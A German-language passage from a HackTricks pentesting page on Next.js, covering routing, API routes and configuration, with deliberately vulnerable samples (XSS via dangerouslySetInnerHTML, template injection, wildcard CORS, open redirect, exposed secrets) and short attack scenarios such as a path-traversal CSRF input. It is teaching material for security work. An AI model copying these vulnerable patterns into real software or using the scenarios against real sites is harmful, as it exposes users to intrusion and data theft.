NextJS
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Allgemeine Architektur einer Next.js-Anwendung
Typische Dateistruktur
Ein Standard-Next.js-Projekt folgt einer spezifischen Datei- und Verzeichnisstruktur, die Funktionen wie Routing, API-Endpunkte und die Verwaltung statischer Assets erleichtert. Hier ist ein typisches Layout:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Core Directories and Files
- public/: Beherbergt statische Assets wie Bilder, Schriftarten und andere Dateien. Dateien hier sind unter dem Root-Pfad (
/) zugänglich. - app/: Zentrales Verzeichnis für die pages, layouts, components und API-Routen deiner Anwendung. Nutzt das App Router-Paradigma und ermöglicht erweiterte Routing-Funktionen sowie die Trennung von Server- und Client-Komponenten.
- app/layout.tsx: Definiert das Root-Layout deiner Anwendung, umschließt alle Seiten und stellt konsistente UI-Elemente wie Header, Footer und Navigationsleisten bereit.
- app/page.tsx: Dient als Einstiegspunkt für die Root-Route
/und rendert die Startseite. - app/[route]/page.tsx: Behandelt statische und dynamische Routen. Jeder Ordner innerhalb von
app/repräsentiert ein Route-Segment, undpage.tsxin diesen Ordnern entspricht der Komponente der Route. - app/api/: Enthält API-Routen, mit denen du serverless Funktionen erstellen kannst, die HTTP-Anfragen verarbeiten. Diese Routen ersetzen das traditionelle
pages/api-Verzeichnis. - app/components/: Beherbergt wiederverwendbare React-Komponenten, die auf verschiedenen Seiten und Layouts genutzt werden können.
- app/styles/: Enthält globale CSS-Dateien und CSS Modules für komponentenbezogene Styles.
- app/utils/: Enthält Utility-Funktionen, Hilfs-Module und andere non-UI-Logik, die innerhalb der Anwendung geteilt werden kann.
- .env.local: Speichert Umgebungsvariablen, die spezifisch für die lokale Entwicklungsumgebung sind. Diese Variablen werden nicht in die Versionskontrolle übernommen.
- next.config.js: Passt das Verhalten von Next.js an, einschließlich webpack-Konfigurationen, Umgebungsvariablen und Sicherheitseinstellungen.
- tsconfig.json: Konfiguriert TypeScript-Einstellungen für das Projekt und ermöglicht Typüberprüfung sowie weitere TypeScript-Features.
- package.json: Verwalten Projektabhängigkeiten, Skripte und Metadaten.
- README.md: Bietet Dokumentation und Informationen zum Projekt, einschließlich Setup-Anweisungen, Nutzungshinweisen und anderen relevanten Details.
- yarn.lock / package-lock.json: Sperren die Abhängigkeiten des Projekts auf spezifische Versionen, um konsistente Installationen in verschiedenen Umgebungen sicherzustellen.
Client-Seite in Next.js
File-Based Routing in the app Directory
Das app-Verzeichnis ist das Herzstück des Routings in den aktuellen Next.js-Versionen. Es nutzt das Dateisystem zur Definition von Routen, wodurch die Verwaltung von Routen intuitiv und skalierbar wird.
Umgang mit dem Root-Pfad /
Dateistruktur:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Wichtige Dateien:
app/page.tsx: Behandelt Anfragen an den Root-Pfad/.app/layout.tsx: Definiert das Layout für die Anwendung und umschließt alle Seiten.
Implementierung:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Erläuterung:
- Routen-Definition: Die Datei
page.tsxdirekt imapp-Verzeichnis entspricht der Route/. - Rendering: Diese Komponente rendert den Inhalt der Startseite.
- Layout-Integration: Die
HomePage-Komponente wird inlayout.tsxeingebettet, das Kopfzeilen, Fußzeilen und andere gemeinsame Elemente enthalten kann.
Umgang mit anderen statischen Pfaden
Beispiel: /about-Route
Dateistruktur:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Erklärung:
- Routen-Definition: Die Datei
page.tsxim Ordneraboutentspricht der Route/about. - Rendering: Diese Komponente zeigt den Inhalt der about-Seite an.
Dynamische Routen
Dynamische Routen erlauben die Handhabung von Pfaden mit variablen Segmenten und ermöglichen es Anwendungen, Inhalte basierend auf Parametern wie IDs, Slugs usw. anzuzeigen.
Beispiel: /posts/[id] Route
Dateistruktur:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Erklärung:
- Dynamisches Segment:
[id]bezeichnet ein dynamisches Segment in der Route und fängt denid-Parameter aus der URL ein. - Zugriff auf Parameter: Das
params-Objekt enthält die dynamischen Parameter und ist innerhalb der Komponente zugänglich. - Routenabgleich: Jeder Pfad, der
/posts/*entspricht, wie/posts/1,/posts/abcusw., wird von dieser Komponente behandelt.
Verschachtelte Routen
Next.js unterstützt verschachtelte Routen und ermöglicht hierarchische Routenstrukturen, die das Verzeichnislayout widerspiegeln.
Beispiel: /dashboard/settings/profile Route
Dateistruktur:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Erklärung:
- Tiefe Verschachtelung: Die Datei
page.tsxinnerhalb vondashboard/settings/profile/entspricht der Route/dashboard/settings/profile. - Hierarchieabbildung: Die Verzeichnisstruktur spiegelt den URL-Pfad wider und verbessert die Wartbarkeit und Übersichtlichkeit.
Catch-All-Routen
Catch-All-Routen behandeln mehrere verschachtelte Segmente oder unbekannte Pfade und bieten Flexibilität bei der Handhabung von Routen.
Beispiel: /* Route
Dateistruktur:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementierung:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Erklärung:
- Catch-All Segment:
[...slug]erfasst alle verbleibenden Pfadsegmente als Array. - Usage: Nützlich zum Umgang mit dynamischen Routing-Szenarien wie user-generated paths, verschachtelten Kategorien usw.
- Route Matching: Pfade wie
/anything/here,/foo/bar/bazusw. werden von dieser Komponente verarbeitet.
Potenzielle clientseitige Schwachstellen
Obwohl Next.js eine sichere Grundlage bietet, können unsachgemäße Programmierpraktiken Schwachstellen einführen. Wichtige clientseitige Schwachstellen sind:
Cross-Site Scripting (XSS)
XSS-Angriffe treten auf, wenn schädliche Skripte in vertrauenswürdige Websites eingeschleust werden. Angreifer können Skripte im Browser der Benutzer ausführen, Daten stehlen oder Aktionen im Namen des Benutzers durchführen.
Beispiel für verwundbaren Code:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Warum es verwundbar ist: Die Verwendung von dangerouslySetInnerHTML mit nicht vertrauenswürdigen Eingaben ermöglicht es Angreifern, bösartige Skripte einzuschleusen.
Client-Side Template Injection
Tritt auf, wenn Benutzereingaben in Templates unsachgemäß behandelt werden, wodurch Angreifer Templates oder Ausdrücke injizieren und ausführen können.
Beispiel für verwundbaren Code:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Warum es verwundbar ist: Wenn template oder data bösartigen Inhalt enthält, kann dies zur Ausführung von unerwünschtem Code führen.
Client Path Traversal
Es handelt sich um eine Schwachstelle, die es Angreifern ermöglicht, clientseitige Pfade zu manipulieren, um unerwünschte Aktionen auszuführen, wie z. B. Cross-Site Request Forgery (CSRF). Im Gegensatz zu server-side path traversal, das auf das Dateisystem des Servers abzielt, konzentriert sich CSPT darauf, clientseitige Mechanismen auszunutzen, um legitime API-Anfragen an bösartige Endpunkte umzuleiten.
Beispiel für verwundbaren Code:
Eine Next.js-Anwendung erlaubt es Benutzern, Dateien hoch- und herunterzuladen. Die Download-Funktion ist auf der Client-Seite implementiert, wobei Benutzer den Dateipfad angeben können, der heruntergeladen werden soll.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Angriffsszenario
- Angreiferziel: Führe einen CSRF-Angriff durch, um eine kritische Datei (z. B.
admin/config.json) zu löschen, indem derfilePathmanipuliert wird. - Ausnutzung von CSPT:
- Bösartige Eingabe: Der Angreifer erstellt eine URL mit einem manipulierten
filePath, z. B.../deleteFile/config.json. - Resultierende API-Anfrage: Der clientseitige Code macht eine Anfrage an
/api/files/../deleteFile/config.json. - Serverseitige Verarbeitung: Wenn der Server den
filePathnicht validiert, verarbeitet er die Anfrage und löscht oder legt möglicherweise sensible Dateien offen.
- Durchführung des CSRF:
- Konstruiertes Link: Der Angreifer sendet dem Opfer einen Link oder bettet ein bösartiges Script ein, das die Download-Anfrage mit dem manipulierten
filePathauslöst. - Ergebnis: Das Opfer führt die Aktion unwissentlich aus, was zu unbefugtem Dateizugriff oder -löschung führt.
Warum es anfällig ist
- Fehlende Eingabevalidierung: Die clientseitige Seite erlaubt beliebige
filePath-Eingaben und ermöglicht damit Path Traversal. - Vertrauen in Client-Eingaben: Die serverseitige API vertraut dem
filePathund verarbeitet ihn ohne Sanitization. - Potenzielle API-Aktionen: Wenn der API-Endpunkt zustandsändernde Aktionen durchführt (z. B. Dateien löschen oder ändern), kann er über CSPT ausgenutzt werden.
Serverseitig in Next.js
Serverseitiges Rendering (SSR)
Seiten werden bei jeder Anfrage auf dem Server gerendert, sodass der Benutzer vollständig gerendertes HTML erhält. In diesem Fall sollten Sie einen eigenen custom server erstellen, um die Anfragen zu verarbeiten.
Anwendungsfälle:
- Dynamischer Content, der sich häufig ändert.
- SEO-Optimierung, da Suchmaschinen die vollständig gerenderte Seite crawlen können.
Implementierung:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Statische Seitengenerierung (SSG)
Seiten werden zur Build-Zeit vorgerendert, was zu schnelleren Ladezeiten und reduzierter Serverlast führt.
Anwendungsfälle:
- Inhalte, die sich nicht häufig ändern.
- Blogs, Dokumentation, Marketingseiten.
Implementierung:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Serverless-Funktionen (API Routes)
Next.js ermöglicht die Erstellung von API-Endpunkten als Serverless-Funktionen. Diese Funktionen laufen bei Bedarf, ohne dass ein dedizierter Server erforderlich ist.
Anwendungsfälle:
- Verarbeitung von Formularübermittlungen.
- Interaktion mit Datenbanken.
- Datenverarbeitung oder Integration mit Drittanbieter-APIs.
Implementierung:
Mit der Einführung des app-Verzeichnisses in Next.js 13 sind Routing und API-Handling flexibler und leistungsfähiger geworden. Dieser moderne Ansatz steht in engem Zusammenhang mit dem dateibasierten Routing-System, bringt jedoch erweiterte Funktionen mit sich, einschließlich Unterstützung für Server- und Client-Komponenten.
Grundlegender Route-Handler
Dateistruktur:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementierung:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Erklärung:
- Ort: API-Routen befinden sich im Verzeichnis
app/api/. - Dateibenennung: Jeder API-Endpunkt liegt in einem eigenen Ordner und enthält eine
route.jsoderroute.ts-Datei. - Exportierte Funktionen: Anstelle eines einzelnen default-Exports werden spezifische Funktionen für HTTP-Methoden (z. B.
GET,POST) exportiert. - Antwortbehandlung: Verwende den Konstruktor
Response, um Antworten zurückzugeben; das erlaubt mehr Kontrolle über Header und Statuscodes.
Umgang mit anderen Pfaden und Methoden:
Handling Specific HTTP Methods
Next.js 13+ ermöglicht es, Handler für spezifische HTTP-Methoden innerhalb derselben route.js- oder route.ts-Datei zu definieren, was zu klarerem und besser organisiertem Code führt.
Beispiel:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Erläuterung:
- Mehrere Exporte: Jede HTTP-Methode (
GET,PUT,DELETE) hat ihre eigene exportierte Funktion. - Parameter: Das zweite Argument bietet Zugriff auf Routen-Parameter über
params. - Erweiterte Antworten: Mehr Kontrolle über Antwortobjekte, wodurch präzises Management von Headern und Statuscodes möglich ist.
Catch-All und verschachtelte Routen
Next.js 13+ unterstützt erweiterte Routing-Funktionen wie Catch-All-Routen und verschachtelte API-Routen, wodurch dynamischere und skalierbarere API-Strukturen möglich werden.
Beispiel für eine Catch-All-Route:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Erklärung:
- Syntax:
[...]kennzeichnet ein Catch-all-Segment, das alle verschachtelten Pfade erfasst. - Verwendung: Nützlich für APIs, die unterschiedliche Routentiefen oder dynamische Segmente verarbeiten müssen.
Beispiel für verschachtelte Routen:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Erklärung:
- Tiefe Verschachtelung: Ermöglicht hierarchische API-Strukturen, die Ressourcenbeziehungen widerspiegeln.
- Zugriff auf Parameter: Ermöglicht einfachen Zugriff auf mehrere Routenparameter über das
paramsObjekt.
Umgang mit API-Routen in Next.js 12 und früher
API-Routen im pages-Verzeichnis (Next.js 12 und früher)
Bevor Next.js 13 das app-Verzeichnis und erweiterte Routing-Funktionen einführte, wurden API-Routen hauptsächlich innerhalb des pages-Verzeichnisses definiert. Dieser Ansatz wird weiterhin häufig verwendet und in Next.js 12 und früheren Versionen unterstützt.
Einfache API-Route
Dateistruktur:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementierung:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Erklärung:
- Ort: API routes befinden sich im Verzeichnis
pages/api/. - Export: Verwende
export default, um die Handler-Funktion zu definieren. - Funktionssignatur: Der Handler erhält die Objekte
req(HTTP-Anfrage) undres(HTTP-Antwort). - Routing: Der Dateiname (
hello.js) entspricht dem Endpoint/api/hello.
Dynamische API Routes
Dateistruktur:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementierung:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Erklärung:
- Dynamische Segmente: Eckige Klammern (
[id].js) kennzeichnen dynamische Routen-Segmente. - Zugriff auf Parameter: Verwende
req.query.id, um auf den dynamischen Parameter zuzugreifen. - Verarbeiten von Methoden: Nutze bedingte Logik, um verschiedene HTTP-Methoden (
GET,PUT,DELETEusw.) zu behandeln.
Umgang mit verschiedenen HTTP-Methoden
Während das einfache API-Route-Beispiel alle HTTP-Methoden in einer einzigen Funktion behandelt, kannst du deinen Code so strukturieren, dass jede Methode explizit gehandhabt wird, um Klarheit und Wartbarkeit zu verbessern.
Beispiel:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Beste Vorgehensweisen:
- Separation of Concerns: Trennen Sie klar die Logik für verschiedene HTTP-Methoden.
- Response Consistency: Sorgen Sie für konsistente Antwortstrukturen, um die Client-seitige Verarbeitung zu erleichtern.
- Error Handling: Behandeln Sie nicht unterstützte Methoden und unerwartete Fehler elegant.
CORS-Konfiguration
Kontrollieren Sie, welche Origins auf Ihre API-Routen zugreifen dürfen, um Cross-Origin Resource Sharing (CORS)-Schwachstellen zu mindern.
Schlechtes Konfigurationsbeispiel:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Beachte, dass CORS auch in allen API-Routen konfiguriert werden kann innerhalb der middleware.ts-Datei:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problem:
Access-Control-Allow-Origin: '*': Erlaubt jeder Website den Zugriff auf die API und kann bösartigen Seiten ermöglichen, ohne Einschränkungen mit deiner API zu interagieren.- Breite Methodenfreigabe: Das Zulassen aller Methoden kann es Angreifern ermöglichen, unerwünschte Aktionen durchzuführen.
Wie Angreifer es ausnutzen:
Angreifer können bösartige Websites erstellen, die Anfragen an deine API senden, und so Funktionen wie Datenabfrage, Datenmanipulation oder das Auslösen unerwünschter Aktionen im Namen authentifizierter Benutzer missbrauchen.
CORS - Misconfigurations & Bypass
Server-Code-Exponierung auf der Client-Seite
Es kann leicht passieren, dass serverseitig verwendeter Code auch im clientseitig exponierten und verwendeten Code landet, der beste Weg, um sicherzustellen, dass eine Code-Datei niemals auf der Client-Seite exponiert wird, ist die Verwendung dieses Imports am Anfang der Datei:
import "server-only"
Wichtige Dateien und ihre Rollen
middleware.ts / middleware.js
Ort: Stammverzeichnis des Projekts oder innerhalb von src/.
Zweck: Führt Code in der serverseitigen serverlosen Funktion aus, bevor eine Anfrage verarbeitet wird, und ermöglicht Aufgaben wie Authentifizierung, Weiterleitungen oder das Ändern von Antworten.
Ablauf:
- Eingehende Anfrage: Die Middleware fängt die Anfrage ab.
- Verarbeitung: Führt Operationen basierend auf der Anfrage aus (z. B. Authentifizierung prüfen).
- Antwortänderung: Kann die Antwort verändern oder die Kontrolle an den nächsten Handler übergeben.
Beispielhafte Anwendungsfälle:
- Weiterleitung nicht authentifizierter Benutzer.
- Hinzufügen benutzerdefinierter Header.
- Anfragen protokollieren.
Beispielkonfiguration:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
next.config.js
Location: Stammverzeichnis des Projekts.
Purpose: Konfiguriert das Verhalten von Next.js, aktiviert oder deaktiviert Features, passt webpack-Konfigurationen an, setzt Umgebungsvariablen und konfiguriert verschiedene Sicherheitsfunktionen.
Key Security Configurations: –> Wichtige Sicherheitskonfigurationen:
Sicherheits-Header
Sicherheits-Header erhöhen die Sicherheit Ihrer Anwendung, indem sie Browser anweisen, wie sie Inhalte behandeln sollen. Sie helfen, verschiedene Angriffe wie Cross-Site Scripting (XSS), Clickjacking und MIME type sniffing zu mindern:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Beispiele:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Image Optimization Settings
Next.js optimiert Bilder für die Leistung, aber Fehlkonfigurationen können zu Sicherheitslücken führen, etwa dass nicht vertrauenswürdige Quellen bösartigen Inhalt einschleusen können.
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problem:
'*': Erlaubt das Laden von Bildern aus beliebigen externen Quellen, einschließlich nicht vertrauenswürdiger oder bösartiger Domains. Angreifer können Bilder hosten, die bösartige Payloads oder Inhalte enthalten, die Benutzer irreführen.- Ein weiteres Problem kann sein, eine Domain zu erlauben, auf der jeder ein Bild hochladen kann (wie
raw.githubusercontent.com)
Wie Angreifer es ausnutzen:
Durch das Einbinden von Bildern aus bösartigen Quellen können Angreifer Phishing-Angriffe durchführen, irreführende Informationen anzeigen oder Schwachstellen in Bildrendering-Bibliotheken ausnutzen.
Offenlegung von Umgebungsvariablen
Verwalten Sie sensible Informationen wie API keys und database credentials sicher, ohne sie an den Client preiszugeben.
a. Offenlegung sensibler Variablen
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
Problem:
SECRET_API_KEY: Ohne das PräfixNEXT_PUBLIC_macht Next.js Variablen nicht für den client zugänglich. Wird es jedoch versehentlich vorangestellt (z. B.NEXT_PUBLIC_SECRET_API_KEY), wird die Variable auf der client-side zugreifbar.
How attackers abuse it:
Wenn sensible Variablen dem client zugänglich sind, können Angreifer sie durch Inspektion des client-side Codes oder der network requests auslesen und sich so unautorisierten Zugriff auf APIs, Datenbanken oder andere Dienste verschaffen.
Weiterleitungen
Verwalten Sie URL-Weiterleitungen und -Umschreibungen innerhalb Ihrer Anwendung, um sicherzustellen, dass Benutzer korrekt weitergeleitet werden, ohne Open-Redirect-Schwachstellen einzuführen.
a. Open-Redirect-Schwachstelle
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problem:
- Dynamisches Ziel: Ermöglicht es Benutzern, beliebige URLs anzugeben, wodurch open redirect attacks möglich werden.
- Vertrauen in Benutzereingaben: Weiterleitungen zu von Benutzern bereitgestellten URLs ohne Validierung können zu phishing, malware distribution oder credential theft führen.
Wie Angreifer es ausnutzen:
Angreifer können URLs erstellen, die so aussehen, als kämen sie von Ihrer Domain, diese jedoch auf bösartige Seiten umleiten. Zum Beispiel:
https://yourdomain.com/redirect?url=https://malicious-site.com
Benutzer, die der ursprünglichen Domain vertrauen, könnten unwissentlich auf schädliche Websites weitergeleitet werden.
Webpack-Konfiguration
Das Anpassen der Webpack-Konfigurationen deiner Next.js-Anwendung kann unbeabsichtigt Sicherheitslücken einführen, wenn es nicht sorgfältig erfolgt.
a. Offenlegen sensibler Module
Schlechtes Konfigurationsbeispiel:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problem:
- Offenlegung sensibler Pfade: Aliasierung sensibler Verzeichnisse und die Ermöglichung des client-side Zugriffs können vertrauliche Informationen leak.
- Bundling von Secrets: Wenn sensitive Dateien für den Client gebündelt werden, werden deren Inhalte über source maps oder durch Inspektion des client-side Codes zugänglich.
Wie Angreifer es missbrauchen:
Angreifer können auf die Verzeichnisstruktur der Anwendung zugreifen oder sie rekonstruieren und dadurch möglicherweise sensitive Dateien oder Daten finden und ausnutzen.
pages/_app.js and pages/_document.js
pages/_app.js
Zweck: Überschreibt die Standard-App-Komponente, wodurch globaler State, Styles und Layout-Komponenten möglich werden.
Anwendungsfälle:
- Globale CSS injizieren.
- Layout-Wrapper hinzufügen.
- State-Management-Bibliotheken integrieren.
Beispiel:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Zweck: Überschreibt das Standard-Document und ermöglicht die Anpassung der HTML- und Body-Tags.
Anwendungsfälle:
- Modifizieren der
<html>oder<body>Tags. - Hinzufügen von Meta-Tags oder benutzerdefinierten Skripten.
- Einbinden von Drittanbieter-Schriftarten.
Beispiel:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Benutzerdefinierter Server (optional)
Zweck: Obwohl Next.js mit einem eingebauten Server geliefert wird, können Sie einen eigenen Server für fortgeschrittene Anwendungsfälle wie benutzerdefiniertes Routing oder die Integration mit bestehenden Backend-Services erstellen.
Hinweis: Die Verwendung eines eigenen Servers kann die Bereitstellungsoptionen einschränken, insbesondere auf Plattformen wie Vercel, die für den eingebauten Next.js-Server optimiert sind.
Beispiel:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Zusätzliche Architektur- und Sicherheitsüberlegungen
Umgebungsvariablen und Konfiguration
Zweck: Sensible Informationen und Konfigurationseinstellungen außerhalb der Codebasis verwalten.
Bewährte Vorgehensweisen:
- Verwende
.env-Dateien: Variablen wie API-Schlüssel in.env.localspeichern (aus der Versionskontrolle ausgeschlossen). - Sicher auf Variablen zugreifen: Verwende
process.env.VARIABLE_NAME, um auf Umgebungsvariablen zuzugreifen. - Secrets niemals im Client offenlegen: Stelle sicher, dass sensible Variablen nur serverseitig verwendet werden.
Beispiel:
// next.config.js
module.exports = {
env: {
